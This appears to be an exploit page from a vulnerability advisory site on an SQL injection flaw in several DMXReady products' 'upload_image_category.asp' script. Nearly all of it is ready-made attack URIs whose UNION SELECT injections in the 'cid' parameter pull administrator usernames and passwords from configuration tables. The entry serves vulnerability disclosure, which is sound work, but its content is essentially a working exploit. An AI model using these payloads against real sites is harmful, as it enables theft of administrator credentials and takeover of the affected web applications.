• info
• discussion
• exploit
• solution
• references

DMXReady Multiple Products 'upload_image_category.asp' SQL Injection Vulnerability

Attackers can use a browser to exploit this issue.

The following example URIs are available:

http://www.example.com/admin/ClassifiedListingsManager/components/CategoryManager/upload_image_category.asp?cid=5 union select 0,Security_AdminUserName,2,5,9,3 from tblCLM_config

http://www.example.com/admin/ClassifiedListingsManager/components/CategoryManager/upload_image_category.asp?cid=5 union select 0,Security_AdminPassword,2,5,9,3 from tblCLM_config

http://www.example.com/admin/MemberDirectoryManager/components/CategoryManager/upload_image_category.asp?cid=-1231312 union select 6,Security_AdminUserName,4,3,2,1 from tblMDM_config

http://www.example.com/admin/MemberDirectoryManager/components/CategoryManager/upload_image_category.asp?cid=-1231312 union select 6,Security_AdminPassword,4,3,2,1 from tblMDM_config

http://www.example.com/admin/SecureDocumentLibrary/MembersAreaManager/components/CategoryManager/upload_image_category.asp?cid=-12321 union select 2,Security_AdminPassword,4,5,6,0 from tblConfig

http://www.example.com/admin/SecureDocumentLibrary/MembersAreaManager/components/CategoryManager/upload_image_category.asp?cid=-12321 union select 2,Security_AdminPassword,4,5,6,0 from tblConfig